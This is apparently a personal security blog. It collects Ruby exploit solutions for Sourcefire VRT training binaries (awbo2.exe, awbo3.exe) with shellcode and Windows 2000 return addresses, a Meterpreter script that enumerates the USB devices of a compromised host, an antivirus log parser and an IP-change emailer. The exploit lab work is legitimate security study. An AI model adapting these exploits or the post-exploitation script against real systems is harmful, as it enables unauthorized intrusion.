hammackj

Solution: awbo3.exe - Windows 2000 SP4 R1

After a very hectic week I was able to sit down and work on awbo3.exe from the SourceFire VRT Labs. Since the rules state no static return stack addresses or noop sleds it took me a little bit longer to get this one working correctly. I had to get an assist on the backwards jump from mc but once I figured that trick out it was easy. I don't have a copy of Windows XP Sp2 installed, but I will post the solution for that XP as soon as I can get SP2 installed. I have the noop slide version commented out below it was a bit easier to make than the specific spacing version, and it probably more reliable also. If anyone is interested in the details of how this SEH overflow worked let me know and I will write up a detailed post and how everything worked.

#!/usr/bin/env ruby

#Jacob Hammack
#jacob.hammack@hammackj.com
#exploit for awbo3.exe from Sourcefire VRT labs, Windows 2000 SP4 Rollup 1

poppopret = [0x77fb3326].pack('V') #ntdll.dll pop esi pop ebx ret, w2ksp4r1

#121, metasploit exec calc.exe
shellcode =
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" +
"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" +
"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" +
"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" +
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" +
"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" +
"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" +
"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" +
"\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"

nseh = "\xEB\x06\x90\x90"
seh = poppopret
stage1 = [0xe8, -1024].pack('CV') #thx mc~

#Vuln tiggers at 1084 so, we need a buffer padding before the shellcode,
#in this case is 120 bytes then the shellcode and the rest of buffer in
#a's so 843 for the rest of 1084
payload = "A" * 120 + shellcode + "A"  * 843 + nseh + seh + stage1
#payload ="\x90" * (1084 - shellcode.length) + shellcode  + nseh + seh + stage1

print payload
hammackj on challengerubyexploitdev

Solution: awbo2.exe

I was feeling bored on Saturday after the wif went to bed so I took a crack at the SourceFire VRT labs Advanced Windows Buffer Overflows. I started with the first one; below is the solution in ruby. The shellcode is provided on the Sourcefire website and all it does it exec calc.exe. This series of executables seems to be all local exploits with int3 staged for ease of debugging. Most of my time was spent in the debugger getting the space just right. I will post the rest of the solutions soon. Any questions?

#!/usr/bin/env ruby

#Jacob Hammack
#http://www.hammackj.com

read = [0x7C571931].pack('V') #kernel32 ADD BYTE PTR DS:[EAX],CL
jmpesp = [0x7C5725F3].pack('V') #kernel32 jmp esp


shellcode =
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" +
"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" +
"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" +
"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" +
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" +
"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" +
"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" +
"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" +
"\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"

print 'A' * 1024 + read + "JUNK" + jmpesp + shellcode
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>ruby exploit.rb | awbo2.exe

Then in your post mortem debugger will catch the int3 at the beginning of the program and click run and you might have this screen, the addresses are only valid on Windows 2000 SP4 Roll-up 1, I provided the instructions to find if you want to try and get it to work on anything else. I have not tried on anything except my VM.

awbo2pwnage

hammackj on challengerubyexploitdev

Tool: aviriaparser.rb

So a while back I downloaded and setup the Avira Professional Beta for linux, it is a really good product for finding malware. This product has two downsides 1) it does not work on powerpc and 2) the logs are in a lame text format. So I needed was a way to parse all the endless logs from the binaries I have collected to see if anything was interesting enough to go ahead and RE the malicious code. So here is a simple script that will parse the raw Avira logs and write the results to screen for easy viewing. The version I use in production is built into a rails app and to complex too post here. Sorry.

#!/usr/bin/env ruby
#Jacob Hammack
#http://www.hammackj.com
#Ruby parser for the output of the Avira Professional for linux results

#This script assumes filenames are the sha1 hash of the file
#to change this

f = File.new(ARGV[0])

f.each { |line|
    lines = line.split(':')

    date = lines[0]
    time = lines[1]
    time1 = lines[2]
  av = lines[3]
    type = lines[4]
    result = lines[5]
    results = Array.new

    printf "Date: %s:%s:%s\n", date, time, time1
    printf "AntiVirus: %s\n", av

    if type =~ /WARNING .*\/([0-9a-fA-F]{40})(.*)/
        type = $1
        result = $2
        result[0] = ' '
        result.strip!
        printf "Filename: %s\n", type
        printf "Result: %s\n", result
    elsif type =~ /ALERT .*\/([0-9a-fA-F]{40})/
        type = $1
        printf "filename: %s\n", type
        result.scan(/(.*);(.*);(.*)/) { |s, c, d|
            printf "Shortname: %s\n", s
            printf "Category: %s\n", c
            printf "Description: %s\n", d               
        }
    end

    puts "\n"
}

Example Usage

[hammackj@fajitas:~/Desktop]$ ./avguparser.rb filescan-20090615.log

Date: 2009-06-15 13:41:25 hoss avscan[21821]
AntiVirus:  AVGU

Date: 2009-06-15 13:41:40 hoss avscan[21821]
AntiVirus:  AVGU
filename: 00A66A90C0B2ECC0DEB975BE1F47526FD598D4A0
Shortname:  TR/Agent.225280.I
Category:  trojan
Description:  Is the Trojan horse TR/Agent.225280.I

Date: 2009-06-15 13:41:41 hoss avscan[21821]
AntiVirus:  AVGU
filename: 00B224187CE4C7E378E954DB76D1AF86DDF1403B
Shortname:  ADSPY/Mywebsearch.AN.2
Category:  adware
Description:  Contains detection pattern of the Ad- or Spyware ADSPY/Mywebsearch.AN.2

hammackj@fajitas:~/Desktop]$
hammackj on toolrubymalware

Meterpeter Script: usbenum.rb

Last week I was looking around the Metasploit ticket system looking for something that I could do to contribute back to the community that has made pen testing so easy for everyone. I found ticket 700. A simple meterpeter script to enumerate USB device information on the remote computer. I based it off the winenum.rb script from Carlos Perez, so its very similar to that script. I am sure this script could be cleaned up some to be shorter but I only spent about an hour on it. Questions? Comments? Post em up...

#Meterpreter script for basic USB device enumeration
#Based on the winenum.rb script by Carlos Perez
#Provided by Jacob Hammack at jacob.hammack[at]hammackj.com
#Version: 0.0.1

@client = client
opts = Rex::Parser::Arguments.new(
    "-h" => [ false, "Help menu." ],
    "-a" => [ false, "Enumerate all connected usb devices" ],
    "-s" => [ false, "Enumerate all connected usb storage devices" ]
)

allUsb = false
usbStor = false

opts.parse(args) { |opt, idx, val|
    case opt
        when "-a"
            allUsb = true
        when "-s"
            usbStor = true            
        when "-h"
            print_line "USBEnum -- Enumerates all USB devices"
            print_line
            print_line "Retrieves information about the usb devices that have been connected"
            print_line "to the system. Results are stored in #{::File.join(Msf::Config.log_directory, 'usbenum')}"
            print_line(opts.usage)
            raise Rex::Script::Completed
    end
}

host,port = @client.tunnel_peer.split(':')
info = @client.sys.config.sysinfo
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")+"-"+sprintf("%.5d",rand(100000))

# Create a directory for the logs
logs = ::File.join(Msf::Config.log_directory, 'usbenum', info['Computer'] + filenameinfo )

# Create the log directory
::FileUtils.mkdir_p(logs)

#logfile name
dest = logs + "/" + info['Computer'] + filenameinfo + ".txt"

#Enumerates a registry key and returns
#Jacked from the winenum.rb script by carlos perez
def reg_enumkeys(key)
    subkeys = []
    begin
        root_key, base_key = @client.sys.registry.splitkey(key)
        open_key = @client.sys.registry.open_key(root_key, base_key, KEY_READ)
        keys = open_key.enum_key
        keys.each { |subkey|
            subkeys << subkey
        }
        open_key.close
    rescue ::Exception => e
        return nil
    end
    return subkeys
end

#Gets a reg key value
#Jacked from the winenum.rb script by carlos perez
def reg_getvaldata(key,valname)
    value = nil
    begin
        root_key, base_key = @client.sys.registry.splitkey(key)
        open_key = @client.sys.registry.open_key(root_key, base_key, KEY_READ)
        v = open_key.query_value(valname)
        value = v.data
        open_key.close
    rescue ::Exception => e
        return nil
    end
    return value
end

#writes out data to file
#Jacked from the winenum.rb script by carlos perez
def filewrt(file2wrt, data2wrt)
    output = ::File.open(file2wrt, "a")
    data2wrt.each_line do |d|
        output.puts(d)
    end
    output.close
end

allUsbKey = "HKLM\\System\\CurrentControlSet\\Enum\\USB\\"
usbStorKey = "HKLM\\System\\CurrentControlSet\\Enum\\USBStor\\"

if allUsb == true or usbStor == true
    print_status("Running Windows USB Enumerion Meterpreter Script")
    info = @client.sys.config.sysinfo
    header =  "Date:       #{::Time.now.strftime("%Y-%m-%d.%H:%M:%S")}\n"
    header << "Running as: #{@client.sys.config.getuid}\n"
    header << "Host:       #{info['Computer']}\n"
    header << "OS:         #{info['OS']}\n"
    header << "\n\n\n"

    print_status("Saving report to #{dest}")
    filewrt(dest, header)
end

if allUsb == true
    begin
        subkeys = reg_enumkeys(allUsbKey)

        subkeys.each { |key|
            devices = reg_enumkeys(allUsbKey + key)
            devices.each { |dev|               
                val = reg_getvaldata(allUsbKey + key + "\\" + dev + "\\", "HardwareID")
                hardwareid = "HardwareID:" + val unless val == nil

                val = reg_getvaldata(allUsbKey + key + "\\" + dev + "\\", "Driver")
                driver = "Driver:" + val unless val == nil

                val = reg_getvaldata(allUsbKey + key + "\\" + dev + "\\", "ClassGUID")
                classguid = "ClassGUID:" + val unless val == nil

                val = reg_getvaldata(allUsbKey + key + "\\" + dev + "\\", "Mfg")
                mfg = "mfg:" + val unless val == nil

                val = reg_getvaldata(allUsbKey + key + "\\" + dev + "\\", "DeviceDesc")
                devicedesc = "DeviceDesc:" + val unless val == nil

                val = reg_getvaldata(allUsbKey + key + "\\" + dev + "\\", "LocationInformation")
                locationinformation = "LocationInformation:" + val unless val == nil

                print_status hardwareid unless hardwareid == nil
                print_status driver unless driver == nil
                print_status classguid unless classguid == nil
                print_status mfg unless mfg == nil
                print_status devicedesc unless devicedesc == nil
                print_status locationinformation unless locationinformation == nil
                print_status ""

                filewrt(dest, hardwareid + "\n") unless hardwareid == nil
                filewrt(dest, driver + "\n") unless driver == nil
                filewrt(dest, classguid + "\n") unless classguid == nil
                filewrt(dest, mfg + "\n") unless mfg == nil
                filewrt(dest, devicedesc + "\n") unless devicedesc == nil
                filewrt(dest,  locationinformation + "\n") unless locationinformation == nil
                filewrt(dest, "\n")
            }
        }
    rescue ::Exception => e
        print_status("Unable to enumerate USB registry #{e}")
    end
end

if usbStor == true
    begin
        subkeys = reg_enumkeys(usbStorKey)

        subkeys.each { |key|
            devices = reg_enumkeys(usbStorKey + key)
            devices.each { |dev|               
                val = reg_getvaldata(usbStorKey + key + "\\" + dev + "\\", "HardwareID")
                hardwareid = "HardwareID:" + val unless val == nil

                val = reg_getvaldata(usbStorKey + key + "\\" + dev + "\\", "Driver")
                driver = "Driver:" + val unless val == nil

                val = reg_getvaldata(usbStorKey + key + "\\" + dev + "\\", "ClassGUID")
                classguid = "ClassGUID:" + val unless val == nil

                val = reg_getvaldata(usbStorKey + key + "\\" + dev + "\\", "Mfg")
                mfg = "mfg:" + val unless val == nil

                val = reg_getvaldata(usbStorKey + key + "\\" + dev + "\\", "DeviceDesc")
                devicedesc = "DeviceDesc:" + val unless val == nil

                val = reg_getvaldata(usbStorKey + key + "\\" + dev + "\\", "FriendlyName")
                friendlyname = "FriendlyName:" + val unless val == nil

                print_status hardwareid unless hardwareid == nil
                print_status driver unless driver == nil
                print_status classguid unless classguid == nil
                print_status mfg unless mfg == nil
                print_status devicedesc unless devicedesc == nil
                print_status friendlyname unless friendlyname == nil
                print_status ""

                filewrt(dest, hardwareid + "\n") unless hardwareid == nil
                filewrt(dest, driver + "\n") unless driver == nil
                filewrt(dest, classguid + "\n") unless classguid == nil
                filewrt(dest, mfg + "\n") unless mfg == nil
                filewrt(dest, devicedesc + "\n") unless devicedesc == nil
                filewrt(dest, friendlyname + "\n") unless friendlyname == nil
                filewrt(dest, "\n")
            }
        }
    rescue ::Exception => e
        print_status("Unable to enumerate USB registry #{e}")
    end
end
hammackj on rubymetasploitscripttoolexploitdev

Tool: checkip.rb

Often I find my self in need of accessing my home network for various reasons but the IP address changes more often than not. So I wrote this little script, that will connect to whatismyip.com and email me if the IP has changed. I also setup a crontab entry that will run the script every hour to look for ip address changes. The code and the crontab are posted below if anyone feels they could use the script. Please let me know if there are any errors or if you need help.

#!/usr/bin/env ruby

#Jacob Hammack
#http://www.hammackj.com
#checkip.rb is a tool to check the internet facing ip and emailing a specific user if the ip changes from the previously noted ip

require 'rubygems'
require 'open-uri'
require 'hpricot' #sudo gem install hpricot
require 'net/smtp'

$FROM_EMAIL = "FROMEMAILADDRESSHERE"
$TO_EMAIL = "TOEMAILADDRESSHERE"

# read_ip () reads the locally stored .checkip file for the last known ip
#
def read_ip()
  ip = ""
  begin
    File.open(".checkip", "r") { |f| ip = f.gets() }
  rescue => err
    #file doesn't exist, can ignore it
  end

  return ip
end

# main() checks the whatismyip.com website for changes in ip address stored locally
#
def main()
  puts "checkip.rb\nJacob Hammack\nhttp://www.hammackj.com\n"

  new_ip = Hpricot(open("http://www.whatismyip.com/automation/n09230945.asp"))
  new_ip = new_ip.html.chomp
  ip = read_ip()
  ip.chomp! unless ip == nil

  if new_ip != ip
    puts "[!] Different IP Address Detected emailing admin!"
    email_admin(new_ip)
    File.open(".checkip", "w") { |f| f.puts new_ip }
  else
    puts "[*] No IP change"
  end
end

# email_admin(ip) sends a email to the $TO_EMAIL variable using a local sendmail mta
#
def email_admin(ip)
  msg = sprintf "From: checkip.rb <%s>\nTo: %s <%s>\nSubject: Your IP has been updated!\nDate: %s\nMessage-Id: <%s@hammackj.net>\n\nYour IP address has changed to %s\n", $FROM_EMAIL, $FROM_EMAIL, $TO_EMAIL, Time.now, ip, ip

  Net::SMTP.start('localhost', 25) do |smtp|
    smtp.send_message msg, $FROM_EMAIL, $TO_EMAIL
  end
end

main()
[hammackj@frijoles:/opt/scripts]# sudo crontab -l
# m h  dom mon dow   command
0 * * * * /usr/bin/ruby /opt/scripts/checkip.rb
hammackj on toolsrubyscript